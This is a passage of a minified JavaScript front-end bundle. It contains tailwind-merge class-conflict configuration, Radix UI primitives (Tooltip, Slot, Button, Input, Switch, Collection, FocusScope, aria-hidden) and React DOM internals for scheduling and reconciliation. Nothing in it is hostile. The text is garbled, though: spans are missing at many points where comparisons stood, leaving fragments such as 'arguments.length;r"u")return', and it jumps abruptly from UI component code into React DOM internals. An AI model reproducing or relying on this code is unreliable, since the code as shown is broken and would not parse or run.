"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},HH=wH(UH);function Ee(...e){return HH(Ye(e))}const xj=ZU,qH=QU,FH=JU,wj=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(eH,{children:E.jsx(oj,{ref:r,sideOffset:t,className:Ee("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));wj.displayName=oj.displayName;var VH=Symbol.for("react.lazy"),Cd=Eh[" use ".trim().toString()];function KH(e){return typeof e=="object"&&e!==null&&"then"in e}function Sj(e){return e!=null&&typeof e=="object"&&"$$typeof"in e&&e.$$typeof===VH&&"_payload"in e&&KH(e._payload)}function Rh(e){const t=GH(e),n=v.forwardRef((r,i)=>{let{children:l,...c}=r;Sj(l)&&typeof Cd=="function"&&(l=Cd(l._payload));const u=v.Children.toArray(l),f=u.find(XH);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}var YH=Rh("Slot");function GH(e){const t=v.forwardRef((n,r)=>{let{children:i,...l}=n;if(Sj(i)&&typeof Cd=="function"&&(i=Cd(i._payload)),v.isValidElement(i)){const c=QH(i),u=ZH(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var WH=Symbol("radix.slottable");function XH(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===WH}function ZH(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function QH(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}const lC=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,sC=Ye,Dh=(e,t)=>n=>{var r;if(t?.variants==null)return sC(e,n?.class,n?.className);const{variants:i,defaultVariants:l}=t,c=Object.keys(i).map(h=>{const p=n?.[h],m=l?.[h];if(p===null)return null;const y=lC(p)||lC(m);return i[h][y]}),u=n&&Object.entries(n).reduce((h,p)=>{let[m,y]=p;return y===void 0||(h[m]=y),h},{}),f=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((h,p)=>{let{class:m,className:y,...x}=p;return Object.entries(x).every(S=>{let[w,O]=S;return Array.isArray(O)?O.includes({...l,...u}[w]):{...l,...u}[w]===O})?[...h,m,y]:h},[]);return sC(e,c,f,n?.class,n?.className)},Vb=Dh("inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),or=v.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...i},l)=>{const c=r?YH:"button";return E.jsx(c,{className:Ee(Vb({variant:t,size:n,className:e})),ref:l,...i})});or.displayName="Button";const Rr=v.forwardRef(({className:e,type:t,...n},r)=>E.jsx("input",{type:t,className:Ee("flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",e),ref:r,...n}));Rr.displayName="Input";function Oj(e){const t=v.useRef({value:e,previous:e});return v.useMemo(()=>(t.current.value!==e&&(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}var kh="Switch",[JH]=Fn(kh),[e9,t9]=JH(kh),Ej=v.forwardRef((e,t)=>{const{__scopeSwitch:n,name:r,checked:i,defaultChecked:l,required:c,disabled:u,value:f="on",onCheckedChange:h,form:p,...m}=e,[y,x]=v.useState(null),S=De(t,T=>x(T)),w=v.useRef(!1),O=y?p||!!y.closest("form"):!0,[A,_]=Oa({prop:i,defaultProp:l??!1,onChange:h,caller:kh});return E.jsxs(e9,{scope:n,checked:A,disabled:u,children:[E.jsx(Ce.button,{type:"button",role:"switch","aria-checked":A,"aria-required":c,"data-state":Tj(A),"data-disabled":u?"":void 0,disabled:u,value:f,...m,ref:S,onClick:ue(e.onClick,T=>{_(j=>!j),O&&(w.current=T.isPropagationStopped(),w.current||T.stopPropagation())})}),O&&E.jsx(_j,{control:y,bubbles:!w.current,name:r,value:f,checked:A,required:c,disabled:u,form:p,style:{transform:"translateX(-100%)"}})]})});Ej.displayName=kh;var Aj="SwitchThumb",Cj=v.forwardRef((e,t)=>{const{__scopeSwitch:n,...r}=e,i=t9(Aj,n);return E.jsx(Ce.span,{"data-state":Tj(i.checked),"data-disabled":i.disabled?"":void 0,...r,ref:t})});Cj.displayName=Aj;var n9="SwitchBubbleInput",_j=v.forwardRef(({__scopeSwitch:e,control:t,checked:n,bubbles:r=!0,...i},l)=>{const c=v.useRef(null),u=De(c,l),f=Oj(n),h=BM(t);return v.useEffect(()=>{const p=c.current;if(!p)return;const m=window.HTMLInputElement.prototype,x=Object.getOwnPropertyDescriptor(m,"checked").set;if(f!==n&&x){const S=new Event("click",{bubbles:r});x.call(p,n),p.dispatchEvent(S)}},[f,n,r]),E.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...i,tabIndex:-1,ref:u,style:{...i.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});_j.displayName=n9;function Tj(e){return e?"checked":"unchecked"}var Nj=Ej,r9=Cj;const cd=v.forwardRef(({className:e,...t},n)=>E.jsx(Nj,{className:Ee("peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",e),...t,ref:n,children:E.jsx(r9,{className:Ee("pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0")})}));cd.displayName=Nj.displayName;function g0(e,[t,n]){return Math.min(n,Math.max(t,e))}function cC(e){const t=a9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(o9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function a9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=s9(i),u=l9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var i9=Symbol("radix.slottable");function o9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===i9}function l9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function s9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function Kb(e){const t=e+"CollectionProvider",[n,r]=Fn(t),[i,l]=n(t,{collectionRef:{current:null},itemMap:new Map}),c=w=>{const{scope:O,children:A}=w,_=hi.useRef(null),T=hi.useRef(new Map).current;return E.jsx(i,{scope:O,itemMap:T,collectionRef:_,children:A})};c.displayName=t;const u=e+"CollectionSlot",f=cC(u),h=hi.forwardRef((w,O)=>{const{scope:A,children:_}=w,T=l(u,A),j=De(O,T.collectionRef);return E.jsx(f,{ref:j,children:_})});h.displayName=u;const p=e+"CollectionItemSlot",m="data-radix-collection-item",y=cC(p),x=hi.forwardRef((w,O)=>{const{scope:A,children:_,...T}=w,j=hi.useRef(null),M=De(O,j),P=l(p,A);return hi.useEffect(()=>(P.itemMap.set(j,{ref:j,...T}),()=>{P.itemMap.delete(j)})),E.jsx(y,{[m]:"",ref:M,children:_})});x.displayName=p;function S(w){const O=l(e+"CollectionConsumer",w);return hi.useCallback(()=>{const _=O.collectionRef.current;if(!_)return[];const T=Array.from(_.querySelectorAll(`[${m}]`));return Array.from(O.itemMap.values()).sort((P,R)=>T.indexOf(P.ref.current)-T.indexOf(R.ref.current))},[O.collectionRef,O.itemMap])}return[{Provider:c,Slot:h,ItemSlot:x},S,r]}var c9=v.createContext(void 0);function Kc(e){const t=v.useContext(c9);return e||t||"ltr"}var xg=0;function Yb(){v.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??uC()),document.body.insertAdjacentElement("beforeend",e[1]??uC()),xg++,()=>{xg===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),xg--}},[])}function uC(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.outline="none",e.style.opacity="0",e.style.position="fixed",e.style.pointerEvents="none",e}var wg="focusScope.autoFocusOnMount",Sg="focusScope.autoFocusOnUnmount",fC={bubbles:!1,cancelable:!0},u9="FocusScope",Lh=v.forwardRef((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:i,onUnmountAutoFocus:l,...c}=e,[u,f]=v.useState(null),h=en(i),p=en(l),m=v.useRef(null),y=De(t,w=>f(w)),x=v.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;v.useEffect(()=>{if(r){let w=function(T){if(x.paused||!u)return;const j=T.target;u.contains(j)?m.current=j:pi(m.current,{select:!0})},O=function(T){if(x.paused||!u)return;const j=T.relatedTarget;j!==null&&(u.contains(j)||pi(m.current,{select:!0}))},A=function(T){if(document.activeElement===document.body)for(const M of T)M.removedNodes.length>0&&pi(u)};document.addEventListener("focusin",w),document.addEventListener("focusout",O);const _=new MutationObserver(A);return u&&_.observe(u,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",O),_.disconnect()}}},[r,u,x.paused]),v.useEffect(()=>{if(u){hC.add(x);const w=document.activeElement;if(!u.contains(w)){const A=new CustomEvent(wg,fC);u.addEventListener(wg,h),u.dispatchEvent(A),A.defaultPrevented||(f9(v9(Mj(u)),{select:!0}),document.activeElement===w&&pi(u))}return()=>{u.removeEventListener(wg,h),setTimeout(()=>{const A=new CustomEvent(Sg,fC);u.addEventListener(Sg,p),u.dispatchEvent(A),A.defaultPrevented||pi(w??document.body,{select:!0}),u.removeEventListener(Sg,p),hC.remove(x)},0)}}},[u,h,p,x]);const S=v.useCallback(w=>{if(!n&&!r||x.paused)return;const O=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,A=document.activeElement;if(O&&A){const _=w.currentTarget,[T,j]=d9(_);T&&j?!w.shiftKey&&A===j?(w.preventDefault(),n&&pi(T,{select:!0})):w.shiftKey&&A===T&&(w.preventDefault(),n&&pi(j,{select:!0})):A===_&&w.preventDefault()}},[n,r,x.paused]);return E.jsx(Ce.div,{tabIndex:-1,...c,ref:y,onKeyDown:S})});Lh.displayName=u9;function f9(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(pi(r,{select:t}),document.activeElement!==n)return}function d9(e){const t=Mj(e),n=dC(t,e),r=dC(t.reverse(),e);return[n,r]}function Mj(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const i=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||i?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function dC(e,t){for(const n of e)if(!h9(n,{upTo:t}))return n}function h9(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function p9(e){return e instanceof HTMLInputElement&&"select"in e}function pi(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&p9(e)&&t&&e.select()}}var hC=m9();function m9(){let e=[];return{add(t){const n=e[0];t!==n&&n?.pause(),e=pC(e,t),e.unshift(t)},remove(t){e=pC(e,t),e[0]?.resume()}}}function pC(e,t){const n=[...e],r=n.indexOf(t);return r!==-1&&n.splice(r,1),n}function v9(e){return e.filter(t=>t.tagName!=="A")}function g9(e){const t=y9(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(x9);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function y9(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=S9(i),u=w9(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var b9=Symbol("radix.slottable");function x9(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===b9}function w9(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function S9(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var O9=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},vl=new WeakMap,Uf=new WeakMap,Hf={},Og=0,jj=function(e){return e&&(e.host||jj(e.parentNode))},E9=function(e,t){return t.map(function(n){if(e.contains(n))return n;var r=jj(n);return r&&e.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},A9=function(e,t,n,r){var i=E9(t,Array.isArray(e)?e:[e]);Hf[n]||(Hf[n]=new WeakMap);var l=Hf[n],c=[],u=new Set,f=new Set(i),h=function(m){!m||u.has(m)||(u.add(m),h(m.parentNode))};i.forEach(h);var p=function(m){!m||f.has(m)||Array.prototype.forEach.call(m.children,function(y){if(u.has(y))p(y);else try{var x=y.getAttribute(r),S=x!==null&&x!=="false",w=(vl.get(y)||0)+1,O=(l.get(y)||0)+1;vl.set(y,w),l.set(y,O),c.push(y),w===1&&S&&Uf.set(y,!0),O===1&&y.setAttribute(n,"true"),S||y.setAttribute(r,"true")}catch(A){console.error("aria-hidden: cannot operate on ",y,A)}})};return p(t),u.clear(),Og++,function(){c.forEach(function(m){var y=vl.get(m)-1,x=l.get(m)-1;vl.set(m,y),l.set(m,x),y||(Uf.has(m)||m.removeAttribute(r),Uf.delete(m)),x||m.removeAttribute(n)}),Og--,Og||(vl=new WeakMap,vl=new WeakMap,Uf=new WeakMap,Hf={})}},Gb=function(e,t,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),i=O9(e);return i?(r.push.apply(r,Array.from(i.querySelectorAll("[aria-live], script"))),A9(r,i,n,"aria-hidden")):function(){return null}},Dr=function(){return Dr=Object.assign||function(t){for(var n,r=1,i=arguments.length;r"u")return H9;var t=q9(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},V9=kj(),_l="data-scroll-locked",K9=function(e,t,n,r){var i=e.left,l=e.top,c=e.right,u=e.gap;return n===void 0&&(n="margin"),` +`+d.stack}}var Vp=Object.prototype.hasOwnProperty,Kp=e.unstable_scheduleCallback,Yp=e.unstable_cancelCallback,a5=e.unstable_shouldYield,i5=e.unstable_requestPaint,_n=e.unstable_now,o5=e.unstable_getCurrentPriorityLevel,uw=e.unstable_ImmediatePriority,fw=e.unstable_UserBlockingPriority,yu=e.unstable_NormalPriority,l5=e.unstable_LowPriority,dw=e.unstable_IdlePriority,s5=e.log,c5=e.unstable_setDisableYieldValue,ss=null,Tn=null;function Ba(a){if(typeof s5=="function"&&c5(a),Tn&&typeof Tn.setStrictMode=="function")try{Tn.setStrictMode(ss,a)}catch{}}var Nn=Math.clz32?Math.clz32:d5,u5=Math.log,f5=Math.LN2;function d5(a){return a>>>=0,a===0?32:31-(u5(a)/f5|0)|0}var bu=256,xu=262144,wu=4194304;function Ni(a){var o=a&42;if(o!==0)return o;switch(a&-a){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return a&261888;case 262144:case 524288:case 1048576:case 2097152:return a&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return a&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return a}}function Su(a,o,s){var d=a.pendingLanes;if(d===0)return 0;var g=0,b=a.suspendedLanes,C=a.pingedLanes;a=a.warmLanes;var N=d&134217727;return N!==0?(d=N&~b,d!==0?g=Ni(d):(C&=N,C!==0?g=Ni(C):s||(s=N&~a,s!==0&&(g=Ni(s))))):(N=d&~b,N!==0?g=Ni(N):C!==0?g=Ni(C):s||(s=d&~a,s!==0&&(g=Ni(s)))),g===0?0:o!==0&&o!==g&&(o&b)===0&&(b=g&-g,s=o&-o,b>=s||b===32&&(s&4194048)!==0)?o:g}function cs(a,o){return(a.pendingLanes&~(a.suspendedLanes&~a.pingedLanes)&o)===0}function h5(a,o){switch(a){case 1:case 2:case 4:case 8:case 64:return o+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return o+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function hw(){var a=wu;return wu<<=1,(wu&62914560)===0&&(wu=4194304),a}function Gp(a){for(var o=[],s=0;31>s;s++)o.push(a);return o}function us(a,o){a.pendingLanes|=o,o!==268435456&&(a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0)}function p5(a,o,s,d,g,b){var C=a.pendingLanes;a.pendingLanes=s,a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0,a.expiredLanes&=s,a.entangledLanes&=s,a.errorRecoveryDisabledLanes&=s,a.shellSuspendCounter=0;var N=a.entanglements,k=a.expirationTimes,Y=a.hiddenUpdates;for(s=C&~s;0"u")return null;try{return a.activeElement||a.body}catch{return a.body}}var x5=/[\n"\\]/g;function Yn(a){return a.replace(x5,function(o){return"\\"+o.charCodeAt(0).toString(16)+" "})}function em(a,o,s,d,g,b,C,N){a.name="",C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"?a.type=C:a.removeAttribute("type"),o!=null?C==="number"?(o===0&&a.value===""||a.value!=o)&&(a.value=""+Kn(o)):a.value!==""+Kn(o)&&(a.value=""+Kn(o)):C!=="submit"&&C!=="reset"||a.removeAttribute("value"),o!=null?tm(a,C,Kn(o)):s!=null?tm(a,C,Kn(s)):d!=null&&a.removeAttribute("value"),g==null&&b!=null&&(a.defaultChecked=!!b),g!=null&&(a.checked=g&&typeof g!="function"&&typeof g!="symbol"),N!=null&&typeof N!="function"&&typeof N!="symbol"&&typeof N!="boolean"?a.name=""+Kn(N):a.removeAttribute("name")}function Cw(a,o,s,d,g,b,C,N){if(b!=null&&typeof b!="function"&&typeof b!="symbol"&&typeof b!="boolean"&&(a.type=b),o!=null||s!=null){if(!(b!=="submit"&&b!=="reset"||o!=null)){Jp(a);return}s=s!=null?""+Kn(s):"",o=o!=null?""+Kn(o):s,N||o===a.value||(a.value=o),a.defaultValue=o}d=d??g,d=typeof d!="function"&&typeof d!="symbol"&&!!d,a.checked=N?a.checked:!!d,a.defaultChecked=!!d,C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"&&(a.name=C),Jp(a)}function tm(a,o,s){o==="number"&&Au(a.ownerDocument)===a||a.defaultValue===""+s||(a.defaultValue=""+s)}function ko(a,o,s,d){if(a=a.options,o){o={};for(var g=0;g"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),om=!1;if(Zr)try{var ps={};Object.defineProperty(ps,"passive",{get:function(){om=!0}}),window.addEventListener("test",ps,ps),window.removeEventListener("test",ps,ps)}catch{om=!1}var Ha=null,lm=null,_u=null;function Rw(){if(_u)return _u;var a,o=lm,s=o.length,d,g="value"in Ha?Ha.value:Ha.textContent,b=g.length;for(a=0;a=gs),$w=" ",Bw=!1;function Uw(a,o){switch(a){case"keyup":return G5.indexOf(o.keyCode)!==-1;case"keydown":return o.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hw(a){return a=a.detail,typeof a=="object"&&"data"in a?a.data:null}var $o=!1;function X5(a,o){switch(a){case"compositionend":return Hw(o);case"keypress":return o.which!==32?null:(Bw=!0,$w);case"textInput":return a=o.data,a===$w&&Bw?null:a;default:return null}}function Z5(a,o){if($o)return a==="compositionend"||!dm&&Uw(a,o)?(a=Rw(),_u=lm=Ha=null,$o=!1,a):null;switch(a){case"paste":return null;case"keypress":if(!(o.ctrlKey||o.altKey||o.metaKey)||o.ctrlKey&&o.altKey){if(o.char&&1=o)return{node:s,offset:o-a};a=d}e:{for(;s;){if(s.nextSibling){s=s.nextSibling;break e}s=s.parentNode}s=void 0}s=Xw(s)}}function Qw(a,o){return a&&o?a===o?!0:a&&a.nodeType===3?!1:o&&o.nodeType===3?Qw(a,o.parentNode):"contains"in a?a.contains(o):a.compareDocumentPosition?!!(a.compareDocumentPosition(o)&16):!1:!1}function Jw(a){a=a!=null&&a.ownerDocument!=null&&a.ownerDocument.defaultView!=null?a.ownerDocument.defaultView:window;for(var o=Au(a.document);o instanceof a.HTMLIFrameElement;){try{var s=typeof o.contentWindow.location.href=="string"}catch{s=!1}if(s)a=o.contentWindow;else break;o=Au(a.document)}return o}function mm(a){var o=a&&a.nodeName&&a.nodeName.toLowerCase();return o&&(o==="input"&&(a.type==="text"||a.type==="search"||a.type==="tel"||a.type==="url"||a.type==="password")||o==="textarea"||a.contentEditable==="true")}var i4=Zr&&"documentMode"in document&&11>=document.documentMode,Bo=null,vm=null,ws=null,gm=!1;function eS(a,o,s){var d=s.window===s?s.document:s.nodeType===9?s:s.ownerDocument;gm||Bo==null||Bo!==Au(d)||(d=Bo,"selectionStart"in d&&mm(d)?d={start:d.selectionStart,end:d.selectionEnd}:(d=(d.ownerDocument&&d.ownerDocument.defaultView||window).getSelection(),d={anchorNode:d.anchorNode,anchorOffset:d.anchorOffset,focusNode:d.focusNode,focusOffset:d.focusOffset}),ws&&xs(ws,d)||(ws=d,d=wf(vm,"onSelect"),0>=C,g-=C,Tr=1<<32-Nn(o)+g|s<Re?($e=be,be=null):$e=be.sibling;var He=W(H,be,K[Re],re);if(He===null){be===null&&(be=$e);break}a&&be&&He.alternate===null&&o(H,be),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He,be=$e}if(Re===K.length)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;ReRe?($e=be,be=null):$e=be.sibling;var ui=W(H,be,He.value,re);if(ui===null){be===null&&(be=$e);break}a&&be&&ui.alternate===null&&o(H,be),z=b(ui,z,Re),Ue===null?Se=ui:Ue.sibling=ui,Ue=ui,be=$e}if(He.done)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;!He.done;Re++,He=K.next())He=ie(H,He.value,re),He!==null&&(z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return Be&&Jr(H,Re),Se}for(be=d(be);!He.done;Re++,He=K.next())He=J(be,H,Re,He.value,re),He!==null&&(a&&He.alternate!==null&&be.delete(He.key===null?Re:He.key),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return a&&be.forEach(function(A$){return o(H,A$)}),Be&&Jr(H,Re),Se}function Je(H,z,K,re){if(typeof K=="object"&&K!==null&&K.type===w&&K.key===null&&(K=K.props.children),typeof K=="object"&&K!==null){switch(K.$$typeof){case x:e:{for(var Se=K.key;z!==null;){if(z.key===Se){if(Se=K.type,Se===w){if(z.tag===7){s(H,z.sibling),re=g(z,K.props.children),re.return=H,H=re;break e}}else if(z.elementType===Se||typeof Se=="object"&&Se!==null&&Se.$$typeof===I&&Bi(Se)===z.type){s(H,z.sibling),re=g(z,K.props),_s(re,K),re.return=H,H=re;break e}s(H,z);break}else o(H,z);z=z.sibling}K.type===w?(re=ki(K.props.children,H.mode,re,K.key),re.return=H,H=re):(re=Iu(K.type,K.key,K.props,null,H.mode,re),_s(re,K),re.return=H,H=re)}return C(H);case S:e:{for(Se=K.key;z!==null;){if(z.key===Se)if(z.tag===4&&z.stateNode.containerInfo===K.containerInfo&&z.stateNode.implementation===K.implementation){s(H,z.sibling),re=g(z,K.children||[]),re.return=H,H=re;break e}else{s(H,z);break}else o(H,z);z=z.sibling}re=Em(K,H.mode,re),re.return=H,H=re}return C(H);case I:return K=Bi(K),Je(H,z,K,re)}if(ce(K))return ve(H,z,K,re);if(V(K)){if(Se=V(K),typeof Se!="function")throw Error(r(150));return K=Se.call(K),Ae(H,z,K,re)}if(typeof K.then=="function")return Je(H,z,Fu(K),re);if(K.$$typeof===T)return Je(H,z,Bu(H,K),re);Vu(H,K)}return typeof K=="string"&&K!==""||typeof K=="number"||typeof K=="bigint"?(K=""+K,z!==null&&z.tag===6?(s(H,z.sibling),re=g(z,K),re.return=H,H=re):(s(H,z),re=Om(K,H.mode,re),re.return=H,H=re),C(H)):s(H,z)}return function(H,z,K,re){try{Cs=0;var Se=Je(H,z,K,re);return Zo=null,Se}catch(be){if(be===Xo||be===Hu)throw be;var Ue=jn(29,be,null,H.mode);return Ue.lanes=re,Ue.return=H,Ue}}}var Hi=OS(!0),ES=OS(!1),Ya=!1;function Lm(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function 